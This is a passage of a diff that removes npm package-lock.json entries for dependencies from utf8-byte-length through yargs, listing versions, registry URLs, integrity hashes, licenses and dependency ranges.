"sha512-Pp6GSwGP/NrPIrxVFAIkOQeyw8lFenOHijQWkUTrDvrF4ALqylP2C/KCkeS9dpUM3KvYRQhna5vt7IL95+ZQ9w==", - "license": "MIT", - "peerDependencies": { - "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" - } - }, - "node_modules/utf8-byte-length": { - "version": "1.0.5", - "resolved": "https://registry.npmjs.org/utf8-byte-length/-/utf8-byte-length-1.0.5.tgz", - "integrity": "sha512-Xn0w3MtiQ6zoz2vFyUVruaCL53O/DwUvkEeOvj+uulMm0BkUGYWmBYVyElqZaSLhY6ZD0ulfU3aBra2aVT4xfA==", - "dev": true, - "license": "(WTFPL OR MIT)" - }, - "node_modules/util-deprecate": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", - "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", - "license": "MIT" - }, - "node_modules/utils-merge": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz", - "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA==", - "license": "MIT", - "engines": { - "node": ">= 0.4.0" - } - }, - "node_modules/uuid": { - "version": "14.0.0", - "resolved": "https://registry.npmjs.org/uuid/-/uuid-14.0.0.tgz", - "integrity": "sha512-Qo+uWgilfSmAhXCMav1uYFynlQO7fMFiMVZsQqZRMIXp0O7rR7qjkj+cPvBHLgBqi960QCoo/PH2/6ZtVqKvrg==", - "funding": [ - "https://github.com/sponsors/broofa", - "https://github.com/sponsors/ctavan" - ], - "license": "MIT", - "bin": { - "uuid": "dist-node/bin/uuid" - } - }, - "node_modules/valibot": { - "version": "1.4.1", - "resolved": "https://registry.npmjs.org/valibot/-/valibot-1.4.1.tgz", - "integrity": "sha512-klCmFTz2jeDluy9RwX+F884TCiogtdBJ/YaxSx1EOBYXa3NXNWj8kR1jjN8rzluwojJVWWaHJ4r1U5LfICnM3g==", - "dev": true, - "license": "MIT", - "peerDependencies": { - "typescript": ">=5" - }, - "peerDependenciesMeta": { - "typescript": { - "optional": true - } - } - }, - "node_modules/vary": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz", - "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg==", - "license": "MIT", - "engines": { - "node": ">= 0.8" - } - }, - "node_modules/verror": { - "version": "1.10.1", - "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.1.tgz", - "integrity": "sha512-veufcmxri4e3XSrT0xwfUR7kguIkaxBeosDg00yDWhk49wdwkSUrvvsm7nc75e1PUyvIeZj6nS8VQRYz2/S4Xg==", - "dev": true, - "license": "MIT", - "optional": true, - "dependencies": { - "assert-plus": "^1.0.0", - "core-util-is": "1.0.2", - "extsprintf": "^1.2.0" - }, - "engines": { - "node": ">=0.6.0" - } - }, - "node_modules/vfile": { - "version": "6.0.3", - "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz", - "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "vfile-message": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-location": { - "version": "5.0.3", - "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-5.0.3.tgz", - "integrity": "sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "vfile": "^6.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vfile-message": { - "version": "4.0.3", - "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.3.tgz", - "integrity": "sha512-QTHzsGd1EhbZs4AsQ20JX1rC3cOlt/IWJruk893DfLRr57lcnOeMaWG4K0JrRta4mIJZKth2Au3mM3u03/JWKw==", - "license": "MIT", - "dependencies": { - "@types/unist": "^3.0.0", - "unist-util-stringify-position": "^4.0.0" - }, - "funding": { - "type": "opencollective", - "url": "https://opencollective.com/unified" - } - }, - "node_modules/vite": { - "version": "8.0.16", - "resolved": "https://registry.npmjs.org/vite/-/vite-8.0.16.tgz", - "integrity": "sha512-h9bXPmJichP5fLmVQo3PyaGSDE2n3aPuomeAlVRm0JLmt4rY6zmPKd59HYI4LNW8oTK7tlTsuC7l/m7awx9Jcw==", - "dependencies": { - "lightningcss": "^1.32.0", - "picomatch": "^4.0.4", - "postcss": "^8.5.15", - "rolldown": "1.0.3", - "tinyglobby": "^0.2.17" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "@vitejs/devtools": "^0.1.18", - "esbuild": "^0.27.0 || ^0.28.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "@vitejs/devtools": { - "optional": true - }, - "esbuild": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/vite-node": { - "version": "3.2.4", - "resolved": "https://registry.npmjs.org/vite-node/-/vite-node-3.2.4.tgz", - "integrity": "sha512-EbKSKh+bh1E1IFxeO0pg1n4dvoOTt0UDiXMd/qn++r98+jPO1xtJilvXldeuQ8giIB5IkpjCgMleHMNEsGH6pg==", - "dev": true, - "license": "MIT", - "dependencies": { - "cac": "^6.7.14", - "debug": "^4.4.1", - "es-module-lexer": "^1.7.0", - "pathe": "^2.0.3", - "vite": "^5.0.0 || ^6.0.0 || ^7.0.0-0" - }, - "bin": { - "vite-node": "vite-node.mjs" - }, - "engines": { - "node": "^18.0.0 || ^20.0.0 || >=22.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - } - }, - "node_modules/vite-node/node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "dev": true, - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/vite-node/node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/vite-node/node_modules/vite": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/vite/-/vite-7.3.5.tgz", - "integrity": "sha512-KuOaNhcnGFN2zIPGA7wRmzF+lJA1sea7rHq17aiJ++9lzY1WWG6Jpwqwe1KNbRVPIqHmr8GLYx7jbrQcN/7/ww==", - "dev": true, - "license": "MIT", - "dependencies": { - "esbuild": "^0.27.0", - "fdir": "^6.5.0", - "picomatch": "^4.0.3", - "postcss": "^8.5.6", - "rollup": "^4.43.0", - "tinyglobby": "^0.2.15" - }, - "bin": { - "vite": "bin/vite.js" - }, - "engines": { - "node": "^20.19.0 || >=22.12.0" - }, - "funding": { - "url": "https://github.com/vitejs/vite?sponsor=1" - }, - "optionalDependencies": { - "fsevents": "~2.3.3" - }, - "peerDependencies": { - "@types/node": "^20.19.0 || >=22.12.0", - "jiti": ">=1.21.0", - "less": "^4.0.0", - "lightningcss": "^1.21.0", - "sass": "^1.70.0", - "sass-embedded": "^1.70.0", - "stylus": ">=0.54.8", - "sugarss": "^5.0.0", - "terser": "^5.16.0", - "tsx": "^4.8.1", - "yaml": "^2.4.2" - }, - "peerDependenciesMeta": { - "@types/node": { - "optional": true - }, - "jiti": { - "optional": true - }, - "less": { - "optional": true - }, - "lightningcss": { - "optional": true - }, - "sass": { - "optional": true - }, - "sass-embedded": { - "optional": true - }, - "stylus": { - "optional": true - }, - "sugarss": { - "optional": true - }, - "terser": { - "optional": true - }, - "tsx": { - "optional": true - }, - "yaml": { - "optional": true - } - } - }, - "node_modules/vite-plugin-svgr": { - "version": "5.2.0", - "resolved": "https://registry.npmjs.org/vite-plugin-svgr/-/vite-plugin-svgr-5.2.0.tgz", - "integrity": "sha512-qj2eAKF8C6PZWemVTvQA0xgQIcP1hHU6Buh7fl6BhvayWwnuxE+z417miKxeDvRWbDrupQ1oK99hfxElopJ3sQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@rollup/pluginutils": "^5.3.0", - "@svgr/core": "^8.1.0", - "@svgr/plugin-jsx": "^8.1.0" - }, - "peerDependencies": { - "vite": ">=3.0.0" - } - }, - "node_modules/vite/node_modules/fsevents": { - "version": "2.3.3", - "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz", - "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", - "hasInstallScript": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": "^8.16.0 || ^10.6.0 || >=11.0.0" - } - }, - "node_modules/vitest": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/vitest/-/vitest-4.1.5.tgz", - "integrity": "sha512-9Xx1v3/ih3m9hN+SbfkUyy0JAs72ap3r7joc87XL6jwF0jGg6mFBvQ1SrwaX+h8BlkX6Hz9shdd1uo6AF+ZGpg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@vitest/expect": "4.1.5", - "@vitest/mocker": "4.1.5", - "@vitest/pretty-format": "4.1.5", - "@vitest/runner": "4.1.5", - "@vitest/snapshot": "4.1.5", - "@vitest/spy": "4.1.5", - "@vitest/utils": "4.1.5", - "es-module-lexer": "^2.0.0", - "expect-type": "^1.3.0", - "magic-string": "^0.30.21", - "obug": "^2.1.1", - "pathe": "^2.0.3", - "picomatch": "^4.0.3", - "std-env": "^4.0.0-rc.1", - "tinybench": "^2.9.0", - "tinyexec": "^1.0.2", - "tinyglobby": "^0.2.15", - "tinyrainbow": "^3.1.0", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0", - "why-is-node-running": "^2.3.0" - }, - "bin": { - "vitest": "vitest.mjs" - }, - "engines": { - "node": "^20.0.0 || ^22.0.0 || >=24.0.0" - }, - "funding": { - "url": "https://opencollective.com/vitest" - }, - "peerDependencies": { - "@edge-runtime/vm": "*", - "@opentelemetry/api": "^1.9.0", - "@types/node": "^20.0.0 || ^22.0.0 || >=24.0.0", - "@vitest/browser-playwright": "4.1.5", - "@vitest/browser-preview": "4.1.5", - "@vitest/browser-webdriverio": "4.1.5", - "@vitest/coverage-istanbul": "4.1.5", - "@vitest/coverage-v8": "4.1.5", - "@vitest/ui": "4.1.5", - "happy-dom": "*", - "jsdom": "*", - "vite": "^6.0.0 || ^7.0.0 || ^8.0.0" - }, - "peerDependenciesMeta": { - "@edge-runtime/vm": { - "optional": true - }, - "@opentelemetry/api": { - "optional": true - }, - "@types/node": { - "optional": true - }, - "@vitest/browser-playwright": { - "optional": true - }, - "@vitest/browser-preview": { - "optional": true - }, - "@vitest/browser-webdriverio": { - "optional": true - }, - "@vitest/coverage-istanbul": { - "optional": true - }, - "@vitest/coverage-v8": { - "optional": true - }, - "@vitest/ui": { - "optional": true - }, - "happy-dom": { - "optional": true - }, - "jsdom": { - "optional": true - }, - "vite": { - "optional": false - } - } - }, - "node_modules/vitest/node_modules/es-module-lexer": { - "version": "2.1.0", - "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-2.1.0.tgz", - "integrity": "sha512-n27zTYMjYu1aj4MjCWzSP7G9r75utsaoc8m61weK+W8JMBGGQybd43GstCXZ3WNmSFtGT9wi59qQTW6mhTR5LQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/vitest/node_modules/pathe": { - "version": "2.0.3", - "resolved": "https://registry.npmjs.org/pathe/-/pathe-2.0.3.tgz", - "integrity": "sha512-WUjGcAqP1gQacoQe+OBJsFA7Ld4DyXuUIjZ5cc75cLHvJ7dtNsTugphxIADwspS+AraAUePCKrSVtPLFj/F88w==", - "dev": true, - "license": "MIT" - }, - "node_modules/void-elements": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/void-elements/-/void-elements-3.1.0.tgz", - "integrity": "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w==", - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/w3c-xmlserializer": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-5.0.0.tgz", - "integrity": "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA==", - "dev": true, - "license": "MIT", - "dependencies": { - "xml-name-validator": "^5.0.0" - }, - "engines": { - "node": ">=18" - } - }, - "node_modules/web-namespaces": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz", - "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==", - "license": "MIT", - "funding": { - "type": "github", - "url": "https://github.com/sponsors/wooorm" - } - }, - "node_modules/web-vitals": { - "version": "5.3.0", - "resolved": "https://registry.npmjs.org/web-vitals/-/web-vitals-5.3.0.tgz", - "integrity": "sha512-q6LWsLatGYZp5VGBIOvbTj6JBV2nOmC8KvWztXBmwJcfFAzhwKwbOxhUH306XY3CcaZDUlSmSuNPBsCn0bFu+g==", - "license": "Apache-2.0" - }, - "node_modules/webidl-conversions": { - "version": "8.0.1", - "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-8.0.1.tgz", - "integrity": "sha512-BMhLD/Sw+GbJC21C/UgyaZX41nPt8bUTg+jWyDeg7e7YN4xOM05YPSIXceACnXVtqyEw/LMClUQMtMZ+PGGpqQ==", - "dev": true, - "license": "BSD-2-Clause", - "engines": { - "node": ">=20" - } - }, - "node_modules/whatwg-mimetype": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/whatwg-mimetype/-/whatwg-mimetype-5.0.0.tgz", - "integrity": "sha512-sXcNcHOC51uPGF0P/D4NVtrkjSU2fNsm9iog4ZvZJsL3rjoDAzXZhkm2MWt1y+PUdggKAYVoMAIYcs78wJ51Cw==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=20" - } - }, - "node_modules/whatwg-url": { - "version": "16.0.1", - "resolved": "https://registry.npmjs.org/whatwg-url/-/whatwg-url-16.0.1.tgz", - "integrity": "sha512-1to4zXBxmXHV3IiSSEInrreIlu02vUOvrhxJJH5vcxYTBDAx51cqZiKdyTxlecdKNSjj8EcxGBxNf6Vg+945gw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@exodus/bytes": "^1.11.0", - "tr46": "^6.0.0", - "webidl-conversions": "^8.0.1" - }, - "engines": { - "node": "^20.19.0 || ^22.12.0 || >=24.0.0" - } - }, - "node_modules/which": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz", - "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==", - "dev": true, - "license": "ISC", - "dependencies": { - "isexe": "^2.0.0" - }, - "bin": { - "node-which": "bin/node-which" - }, - "engines": { - "node": ">= 8" - } - }, - "node_modules/which-boxed-primitive": { - "version": "1.1.1", - "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.1.tgz", - "integrity": "sha512-TbX3mj8n0odCBFVlY8AxkqcHASw3L60jIuF8jFP78az3C2YhmGvqbHBpAjTRH2/xqYunrJ9g1jSyjCjpoWzIAA==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-bigint": "^1.1.0", - "is-boolean-object": "^1.2.1", - "is-number-object": "^1.1.1", - "is-string": "^1.1.1", - "is-symbol": "^1.1.1" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/which-builtin-type": { - "version": "1.2.1", - "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz", - "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "call-bound": "^1.0.2", - "function.prototype.name": "^1.1.6", - "has-tostringtag": "^1.0.2", - "is-async-function": "^2.0.0", - "is-date-object": "^1.1.0", - "is-finalizationregistry": "^1.1.0", - "is-generator-function": "^1.0.10", - "is-regex": "^1.2.1", - "is-weakref": "^1.0.2", - "isarray": "^2.0.5", - "which-boxed-primitive": "^1.1.0", - "which-collection": "^1.0.2", - "which-typed-array": "^1.1.16" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/which-collection": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz", - "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==", - "dev": true, - "license": "MIT", - "dependencies": { - "is-map": "^2.0.3", - "is-set": "^2.0.3", - "is-weakmap": "^2.0.2", - "is-weakset": "^2.0.3" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/which-typed-array": { - "version": "1.1.21", - "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.21.tgz", - "integrity": "sha512-zbRA8cVm6io/d5W8uIe2hblzN76/Wm3v/yiythQvr+dpBWeqhPSWIDNj4zOyHi4zKbMK6DN34Xsr9jPHJERAEw==", - "dev": true, - "license": "MIT", - "dependencies": { - "available-typed-arrays": "^1.0.7", - "call-bind": "^1.0.9", - "call-bound": "^1.0.4", - "for-each": "^0.3.5", - "get-proto": "^1.0.1", - "gopd": "^1.2.0", - "has-tostringtag": "^1.0.2" - }, - "engines": { - "node": ">= 0.4" - }, - "funding": { - "url": "https://github.com/sponsors/ljharb" - } - }, - "node_modules/why-is-node-running": { - "version": "2.3.0", - "resolved": "https://registry.npmjs.org/why-is-node-running/-/why-is-node-running-2.3.0.tgz", - "integrity": "sha512-hUrmaWBdVDcxvYqnyh09zunKzROWjbZTiNy8dBEjkS7ehEDQibXJ7XvlmtbwuTclUiIyN+CyXQD4Vmko8fNm8w==", - "dev": true, - "license": "MIT", - "dependencies": { - "siginfo": "^2.0.0", - "stackback": "0.0.2" - }, - "bin": { - "why-is-node-running": "cli.js" - }, - "engines": { - "node": ">=8" - } - }, - "node_modules/winston": { - "version": "3.19.0", - "resolved": "https://registry.npmjs.org/winston/-/winston-3.19.0.tgz", - "integrity": "sha512-LZNJgPzfKR+/J3cHkxcpHKpKKvGfDZVPS4hfJCc4cCG0CgYzvlD6yE/S3CIL/Yt91ak327YCpiF/0MyeZHEHKA==", - "license": "MIT", - "dependencies": { - "@colors/colors": "^1.6.0", - "@dabh/diagnostics": "^2.0.8", - "async": "^3.2.3", - "is-stream": "^2.0.0", - "logform": "^2.7.0", - "one-time": "^1.0.0", - "readable-stream": "^3.4.0", - "safe-stable-stringify": "^2.3.1", - "stack-trace": "0.0.x", - "triple-beam": "^1.3.0", - "winston-transport": "^4.9.0" - }, - "engines": { - "node": ">= 12.0.0" - } - }, - "node_modules/winston-daily-rotate-file": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/winston-daily-rotate-file/-/winston-daily-rotate-file-5.0.0.tgz", - "integrity": "sha512-JDjiXXkM5qvwY06733vf09I2wnMXpZEhxEVOSPenZMii+g7pcDcTBt2MRugnoi8BwVSuCT2jfRXBUy+n1Zz/Yw==", - "license": "MIT", - "dependencies": { - "file-stream-rotator": "^0.6.1", - "object-hash": "^3.0.0", - "triple-beam": "^1.4.1", - "winston-transport": "^4.7.0" - }, - "engines": { - "node": ">=8" - }, - "peerDependencies": { - "winston": "^3" - } - }, - "node_modules/winston-transport": { - "version": "4.9.0", - "resolved": "https://registry.npmjs.org/winston-transport/-/winston-transport-4.9.0.tgz", - "integrity": "sha512-8drMJ4rkgaPo1Me4zD/3WLfI/zPdA9o2IipKODunnGDcuqbHwjsbB79ylv04LCGGzU0xQ6vTznOMpQGaLhhm6A==", - "license": "MIT", - "dependencies": { - "logform": "^2.7.0", - "readable-stream": "^3.6.2", - "triple-beam": "^1.3.0" - }, - "engines": { - "node": ">= 12.0.0" - } - }, - "node_modules/word-wrap": { - "version": "1.2.5", - "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz", - "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=0.10.0" - } - }, - "node_modules/wrap-ansi": { - "version": "9.0.2", - "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-9.0.2.tgz", - "integrity": "sha512-42AtmgqjV+X1VpdOfyTGOYRi0/zsoLqtXQckTmqTeybT+BDIbM/Guxo7x3pE2vtpr1ok6xRqM9OpBe+Jyoqyww==", - "dev": true, - "license": "MIT", - "dependencies": { - "ansi-styles": "^6.2.1", - "string-width": "^7.0.0", - "strip-ansi": "^7.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/chalk/wrap-ansi?sponsor=1" - } - }, - "node_modules/wrap-ansi/node_modules/ansi-styles": { - "version": "6.2.3", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", - "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=12" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" - } - }, - "node_modules/wrap-ansi/node_modules/emoji-regex": { - "version": "10.6.0", - "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.6.0.tgz", - "integrity": "sha512-toUI84YS5YmxW219erniWD0CIVOo46xGKColeNQRgOzDorgBi1v4D71/OFzgD9GO2UGKIv1C3Sp8DAn0+j5w7A==", - "dev": true, - "license": "MIT" - }, - "node_modules/wrap-ansi/node_modules/string-width": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/string-width/-/string-width-7.2.0.tgz", - "integrity": "sha512-tsaTIkKW9b4N+AEj+SVA+WhJzV7/zMhcSu78mLKWSk7cXMOSHsBKFWUs0fWwq8QyK3MgJBQRX6Gbi4kYbdvGkQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "emoji-regex": "^10.3.0", - "get-east-asian-width": "^1.0.0", - "strip-ansi": "^7.1.0" - }, - "engines": { - "node": ">=18" - }, - "funding": { - "url": "https://github.com/sponsors/sindresorhus" - } - }, - "node_modules/wrappy": { - "version": "1.0.2", - "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", - "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", - "dev": true, - "license": "ISC" - }, - "node_modules/ws": { - "version": "8.21.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", - "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==", - "license": "MIT", - "engines": { - "node": ">=10.0.0" - }, - "peerDependencies": { - "bufferutil": "^4.0.1", - "utf-8-validate": ">=5.0.2" - }, - "peerDependenciesMeta": { - "bufferutil": { - "optional": true - }, - "utf-8-validate": { - "optional": true - } - } - }, - "node_modules/xml-name-validator": { - "version": "5.0.0", - "resolved": "https://registry.npmjs.org/xml-name-validator/-/xml-name-validator-5.0.0.tgz", - "integrity": "sha512-EvGK8EJ3DhaHfbRlETOWAS5pO9MZITeauHKJyb8wyajUfQUenkIg2MvLDTZ4T/TgIcm3HU0TFBgWWboAZ30UHg==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18" - } - }, - "node_modules/xmlbuilder": { - "version": "15.1.1", - "resolved": "https://registry.npmjs.org/xmlbuilder/-/xmlbuilder-15.1.1.tgz", - "integrity": "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg==", - "dev": true, - "license": "MIT", - "engines": { - "node": ">=8.0" - } - }, - "node_modules/xmlchars": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/xmlchars/-/xmlchars-2.2.0.tgz", - "integrity": "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw==", - "dev": true, - "license": "MIT" - }, - "node_modules/xmlhttprequest-ssl": { - "version": "2.1.2", - "resolved": "https://registry.npmjs.org/xmlhttprequest-ssl/-/xmlhttprequest-ssl-2.1.2.tgz", - "integrity": "sha512-TEU+nJVUUnA4CYJFLvK5X9AOeH4KvDvhIfm0vV1GaQRtchnG0hgK5p8hw/xjv8cunWYCsiPCSDzObPyhEwq3KQ==", - "engines": { - "node": ">=0.4.0" - } - }, - "node_modules/y18n": { - "version": "5.0.8", - "resolved": "https://registry.npmjs.org/y18n/-/y18n-5.0.8.tgz", - "integrity": "sha512-0pfFzegeDWJHJIAmTLRP2DwHjdF5s7jo9tuztdQxAhINCdvS+3nGINqPd00AphqJR/0LhANUS6/+7SCb98YOfA==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=10" - } - }, - "node_modules/yallist": { - "version": "3.1.1", - "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz", - "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==", - "dev": true, - "license": "ISC" - }, - "node_modules/yaml": { - "version": "2.9.0", - "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.9.0.tgz", - "integrity": "sha512-2AvhNX3mb8zd6Zy7INTtSpl1F15HW6Wnqj0srWlkKLcpYl/gMIMJiyuGq2KeI2YFxUPjdlB+3Lc10seMLtL4cA==", - "devOptional": true, - "license": "ISC", - "bin": { - "yaml": "bin.mjs" - }, - "engines": { - "node": ">= 14.6" - }, - "funding": { - "url": "https://github.com/sponsors/eemeli" - } - }, - "node_modules/yargs": { - "version": "17.7.2", - "resolved": "https://registry.npmjs.org/yargs/-/yargs-17.7.2.tgz", - "integrity": "sha512-7dSzzRQ++CKnNI/krKnYRV7JKKPUXMEh61soaHKg9mrWEhzFWhFnxPxGl+69cD1Ou63C13NUPCnmIcrvqCuM6w==", - "dev": true, - "license": "MIT", - "dependencies": { - "cliui": "^8.0.1", - "escalade": "^3.1.1", - "get-caller-file": "^2.0.5", - "require-directory": "^2.1.1", - "string-width": "^4.2.3", - "y18n": "^5.0.5", - "yargs-parser": "^21.1.1" - }, - "engines": { - "node": ">=12" - } - }, - "node_modules/yargs-parser": { - "version": "21.1.1", - "resolved": "https://registry.npmjs.org/yargs-parser/-/yargs-parser-21.1.1.tgz", - "integrity": "sha512-tVpsJW7DdjecAiFpbIB1e3qxIQsE6NoPc5/eTdrbbIC4h0LVsWhnoa3g+m2HclBIujHzsxZ4VJVA+GUuc2/LBw==", - "dev": true, - "license": "ISC", - "engines": { - "node": ">=12" - } - }, - "node_modules/yargs/node_modules/emoji-regex": { - "version": "8.0.0", - "resolved": 